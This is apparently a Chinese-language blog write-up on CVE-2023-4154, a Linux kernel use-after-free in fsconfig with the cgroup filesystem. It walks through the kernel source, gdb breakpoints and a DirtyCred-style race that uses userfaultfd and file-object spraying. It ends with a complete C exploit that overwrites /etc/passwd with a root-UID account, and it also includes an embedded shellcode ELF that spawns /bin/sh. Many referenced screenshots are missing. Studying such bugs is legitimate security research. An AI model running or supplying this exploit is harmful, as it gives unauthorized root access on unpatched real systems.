CVE-2023-4154


背景知识

fsconfig

在Linux系统中,本着一切皆文件的原则,文件系统也是可以被挂载、打开的;

fsconfig则是对于文件系统挂载配置一些规则,fsconfig 允许用户在挂载文件系统之前设置各种挂载选项和文件系统特定的参数。这个接口主要通过系统调用 fsconfig() 实现,它可以在内核挂载文件系统的过程中,通过多次调用来指定不同的配置选项。这种设计使得文件系统的挂载过程变得更加灵活,支持更加复杂的挂载场景。

fsconfig

源码:

https://elixir.bootlin.com/linux/v5.10/source/fs/fsopen.c

fsconfig原型如下:

进入该系统调用之后首先是检查fd,创建param:

这个param后边会用到,我们看一下fs_parameter结构体的定义,可以看到这里边有一个联合体,记住,后边会用到:

回到fsconfig,然后是根据cmd检查参数的合法性:

之后是通过当前进程的文件描述符fd获取对应的系统中的file结构体:(FILE?)

然后做一些检查确定是文件系统的文件描述符等等;我们不要在意这么多细节;

跳过一部分代码,我们来看关于参数设置的这一部分:

重点看FS_CONFIG_STRING和FSCONFIG_SET_FD这两个,其中param.file和param.string是联合体;

然后会发生如下调用过程,首先加锁之后进入到cvs_fsconfig_locked中:

这个函数略长,我们只关注最后的vfs_parse_fs_param即可,因为前面的cmd和我们的不符,不会调用:

进入到该函数我们同样只关心后边,可以看到如果ops有函数会调用函数指针,如果没有就会调用到下面的默认方式中,然后fs->source会被赋值为param->string:(注意到这个复赋值似乎并没有对cmd有任何的检查,这也就是说我们用FSCONFIG_SET_FD也行)

这里笔者经过调试以及阅读相关博客发现,这个fc->ops->parse_param通常并不是空的,该指针通常为如下值:

然后查看/proc/kallsyms:

最后源码定位:

https://elixir.bootlin.com/linux/v5.10/source/kernel/cgroup/cgroup-v1.c#L901

只能说这里还是比较需要细心动手调试的,不能光看别人写的文章,容易晕晕;

关键代码仍然是在比较开始的位置,很好:

fscontext_release

这个函数应该是对应close系统调用吧。

记住这里的fc,它和前面的fc是同一个,都是private_data;

然后调用到put_fs_context:

在这里我们可以看到fc->source被free掉了,这就是我们随便传进去一个文件的fd,它的file结构体会被稀里糊涂的free掉。

文件描述符

如上图所示,fdget最终会调用到__fget_light函数,然后首先files为当前进程的文件描述符表指针,最后返回file结构体;

==进程级的叫struct file_struct,内核级的叫struct file==

==open多个相同文件,也会在内核中建立多个struct file,fork、mmap的时候则会共用一个==

file结构体

struct file:

https://elixir.bootlin.com/linux/v5.10/source/include/linux/fs.h#L916

环境

commit:2c85ebc57b3e1817b6ce1a6b703928e113a90442

总的config:

defconfig+menuconfig

CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_NET_SCHED=y
CONFIG_DEBUG_INFO=y
CONFIG_USER_NS=y #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd

(同样是修改了objtool的一个代码)

调试

gdb -ex "target remote localhost:1234" -ex "c" 

漏洞利用

如前所述,我们现在有了一个uaf的file结构体;

创建新的namespace

普通用户无法成功fsopen,所以我们需要创建一个namespace,获得虚拟root权限,然后才能fsopen;

这就要求我们的内核支持创建新的namespace权限,因此要保证.config中有下面这一条config:

CONFIG_USER_NS=y
// 创建新的用户和挂载命名空间
if (unshare(CLONE_NEWUSER) == -1) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

// 然后尝试创建挂载命名空间
if (unshare(CLONE_NEWNS) == -1) {
perror("unshare(CLONE_NEWNS)");
exit(EXIT_FAILURE);
}

int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
printf("fs_fd == %d\n", fs_fd);
if(fs_fd < 0){
perror("fsopen");
exit(-1);
}

调试fsconfig

系统调用在/proc/kallsyms中是查不到函数名字的,我们看这个函数,它只有一次被引用:

ffffffff8121a250 t fscontext_release
ffffffff8121a270 t fscontext_read
ffffffff81b82480 T mutex_lock_interruptible
ffffffff81219b90 T finish_clean_context
ffffffff812192c0 T vfs_parse_fs_param

经过调试发现一个问题:

定位到源代码中:

这个竟然有函数指针;

file结构体赋值的位置:

file 结构体赋值:
b *(0xffffffff81106370)
reg rdx

kfree(fc->source):
b *(0xFFFFFFFF812196A1)
reg rdi

可以看到成功释放文件;

文件读写过程

我们uaf掉的应该是一个系统级资源,即系统文件描述符;

源码:

https://elixir.bootlin.com/linux/v5.10/source/fs/read_write.c#L667

struct fd f 应该还是进程级资源,f.file应该就是系统级资源;

先进行两个权限检查,然后是写空间的检查,以及count的检查,之后就可以写了;

既然是提权,我们着重关注权限检查;

我们是否可以用条件竞争来完成利用呢?这里的写函数直接从用户态的buf读取内容,如果我们使用userfaultfd使之缺页,然后回到用户态重新open不可写文件,就可以实现file的顶包,然后写buf为我们控制的内容;

想使用userfaultfd还要加入编译选项:

CONFIG_USERFAULTFD=y

write写权限问题

又遇到一个问题,我们前面打开的这个文件为什么没有写权限呢??

笔者明明是给的2权限呀;

第一个write是因为笔者有个测试的/etc/passwd提前占据了那片内存;

但是后边却被第二个权限检查困住了;

额,原来是userfaultfd打开了一个文件。。。

命中问题

似乎反复open并不能分配多个file结构体,只会增加文件的引用数;

open源代码:

https://elixir.bootlin.com/linux/v5.10/source/fs/open.c#L1231

文件描述符是每一个进程的,为什么自己的进程打开一个/etc/passwd就可以命中,userfaultfd打开好多各种各样的文件都不行呢?

v11 = do_filp_open(a1, v9, v18);        // b *(0xFFFFFFFF811DC991)

kfree(*(_QWORD *)(a1 + 112)); // b *(0xFFFFFFFF8121AF01 )

new_sync_write // b *(0xFFFFFFFF811DD9E0)

sys_write // b *(0xFFFFFFFF811E01C0 )

do_write // b *(0xffffffff818223a0)

有一种可能,就是这个PF和真正写的距离太近了,导致此时已经从file结构体中读出了inode;

我们的顺序反了,所以失败。。。

笔者在调试过程中也看到确实新的file占用了这个原来的file的内存空间,但是还有个问题就是每次打开一个文件似乎就会创建一个file。

那么,我们是不是可以用userfaultfd把一个进程A搞休眠,然后进程c也要写就会进入到等待,然后进程B开始大量打开passwd;

dirty-cred

https://mundi-xu.github.io/2022/10/08/DirtyCred/

/etc/passwd

出现三次这个报告,是什么情况呢?

攻击步骤

权限检查->占用检查->寻找inode->写入数据;

攻击成功

原始状态:

篡改/etc/passwd:

登录伪造用户,提权:

exp

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <ctype.h>
#include <pthread.h>
#include <assert.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <linux/kcmp.h>

#include <linux/fs.h> // 文件系统相关结构体和宏
#include <linux/mount.h> // 挂载和 fsconfig 相关宏
#include <sys/types.h> // 系统数据类型
#include <sys/stat.h> // 文件状态
#include <fcntl.h> // 文件控制选项
#include <unistd.h> // UNIX 标准函数声明

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif

int fsopen(const char* fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{
return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}

int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{
return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}

int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{
return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}


void err_exit(char* msg)
{
printf("[X] %s\n", msg);
exit(-1);
}

void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

#define WRITE_PAGE_NUMS 0x40000
#define MAX_FILE_NUMS 1000

int uaf_fd;
int run_wait_lock = 0;
int run_spray_file = 0;

void prepare_exp_file()
{
puts("[+] Step I - Prepare some exp files");
system("rm exp_dir -rf;mkdir exp_dir;touch exp_dir/data");

if (chmod("exp_dir", 0777))
perror("chmod exp_dir"), exit(-1);

if (chdir("exp_dir"))
perror("chdir exp_dir"), exit(-1);
}

void construct_file_uaf()
{
puts("[+] Step II - Construct file obj UAF");
int fs_fd = fsopen("cgroup", 0);
if (fs_fd < 0) perror("fsopen cgroup"), exit(-1);

symlink("./data", "./uaf");
uaf_fd = open("./uaf", O_WRONLY);
if (uaf_fd < 0) perror("open uaf"), exit(-1);

if (fsconfig(fs_fd, 5, "source", NULL, uaf_fd))
perror("fsoncfig set fd"), exit(-1);

close(fs_fd);
}


void* slow_write()
{
int fd = open("./uaf", O_WRONLY);
if (fd < 0) perror("open uaf"), exit(-1);

uint64_t start_addr = 0x30000000;
uint64_t write_len = (WRITE_PAGE_NUMS-1) * 0x1000;
int64_t page_nums;
for (page_nums = 0; page_nums < WRITE_PAGE_NUMS; page_nums++)
{
void* addr = mmap((void*)(start_addr+page_nums*0x1000), 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if (addr <= 0) perror("mmap"), exit(-1);
}

assert(page_nums > 0);

puts("[+] Thread I start to slow write to get inode lock");
run_wait_lock = 1;
if (write(fd, (void*)start_addr, write_len) < 0)
perror("slow write"), exit(-1);

puts("[+] Thread I write OVER");
close(fd);
}

void* write_cmd_and_wait_lock()
{
char cmd[1024] = "hi:x:0:0:root:/home/hi:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n";
while(!run_wait_lock) {}

puts("[+] Thread II start to wait for inode lock to write");
run_spray_file = 1;
if (write(uaf_fd, cmd, strlen(cmd)) < 0)
perror("write uaf"), exit(-1);

puts("[+] Thread II write OVER");

}

void spray_file()
{
int fd[MAX_FILE_NUMS], i = 0;
while (!run_spray_file) {}
puts("[+] Thread III start to open many /etc/passwd to spray file obj");
printf("[+] uaf_fd is %d\n", uaf_fd);
usleep(0.3);
for (; i < MAX_FILE_NUMS; i++)
{
if ((fd[i] = open("/etc/passwd", O_RDONLY)) < 0)
perror("open /etc/passwd"), exit(-1);

if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fd[i], uaf_fd) == 0)
{
printf("[V] GOOD, Get UAF file obj successfully: fd[%d] = %d\n", i, fd[i]);
for (int j = 0; j < i; j++)
close(fd[j]);
break;
}
}

if (i == MAX_FILE_NUMS)
{
for (int j = 0; j < i; j++)
close(fd[j]);
puts("[X] FAILED to get UAF file obj"), exit(-1);
}
}

//================================userfaultfd=================================================================
#include <linux/userfaultfd.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <poll.h>
#include <sys/mman.h>

static pthread_t monitor_thread;

void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(EXIT_FAILURE);
}
static char *page = NULL; // 你要拷贝进去的数据
static long page_size;
char * new_con;
int new_size;
void (*uaf)(void);

static void *
fault_handler_thread(void *arg)
{
//这就是monitor进程
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;
/* Create a page that will be copied into the faulting region */

if (page == NULL) //之前page初始化为NULL,后边还有个针对page的copy,这样会导致err
{
page_size = 0x1000;//page_size也要初始化
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}

uaf();
memcpy(page, new_con, new_size);

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
///一旦poll之后向下运行就说明捕获到了异常,也就是说主线程此时已经进入因缺页异常而导致的阻塞
puts("monitor...");
/*
* [在这停顿.jpg]
* 当 poll 返回时说明出现了缺页异常
* 你可以在这里插入一些比如说 sleep() 一类的操作
*/

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
}
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); ///注册userfaultfd
if (uffd == -1){
perror("userfautfd");
exit(-1);
}


uffdio_api.api = UFFD_API;
uffdio_api.features = 0; ///相关初始化
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) ///地址绑定
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd); ///启动monitor线程
if (s != 0)
errExit("pthread_create");
}

//==================================end============================================================================

//==================================定义条件竞争的uaf函数们===========================================================
/*
参考模板:
free_note(0);
memset(page, 'a', 0x100);
add_note("bbbbbbbbbbbbbbbbb");
*/
void uaf_file(void){
for(int i = 1; i <= 5; i++){
printf("sleep %d\n", i);
sleep(1);
}

}

/*
最后千万不要忘了在每次触发userfaultfd之前先将函数指针赋值
uaf = uaf_key;
*/

//==================================================================================================================

void create_file(){
char filename[0x20];
char cmd[0x30];
for(int i = 0; i < 400; i++){
memset(filename, 0, sizeof(filename));
memset(cmd, 0, sizeof(cmd));
memcpy(filename, "f", 1);
sprintf(filename+1, "%d", i);
memcpy(cmd, "touch /tmp/\x00", 12);
strcat(cmd, filename);
system(cmd);
}
}
unsigned char elfcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};


int main(int argc, char** argv, char** envp)
{
bindCore(0);
//create_file();
// 创建新的用户和挂载命名空间
if (unshare(CLONE_NEWUSER) == -1) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

// 然后尝试创建挂载命名空间
if (unshare(CLONE_NEWNS) == -1) {
perror("unshare(CLONE_NEWNS)");
exit(EXIT_FAILURE);
}

int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
if(fs_fd < 0){
perror("fsopen");
exit(-1);
}
chdir("/tmp");
system("touch aaa");
system("chmod +w /tmp/aaa");
int fd = open("aaa", 2);
//write(fd, "1111111111111", 0x20);

int len = 0x1000;
void *addr = (char*) mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");
registerUserFaultFd(addr, len, fault_handler_thread);

if(fsconfig(fs_fd, FSCONFIG_SET_FD, "source", 0, fd)){
perror("fsconfig");
exit(-1);
}
close(fs_fd);

new_con = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
new_size = 0x20;
uaf = uaf_file;
if(!fork()){
if(!fork()){
//进程B
sleep(2);
for(int i = 0; i < 400; i++) open("/etc/passwd", 0);
exit(0);
}
else{
//进程C
//puts("process C");
char code[] = "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash\n";
//char data[0x100];
//memset(data, 0, sizeof(data));
//memcpy(data, code, strlen(code));
sleep(1);
int w2 = write(fd, code, sizeof(code));
//printf("w2 == %d\n", w2);
wait(NULL);
exit(0);
}
}

else{
//进程A
int fd1 = open("/tmp/aaa", 2);
int w = write(fd1, addr, 0x20);
if(w < 0){
perror("write");
}
else{
//puts("write1 done");
}
wait(NULL);

}


setuid(0);
//puts("end");
//getchar();

return 0;
}


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录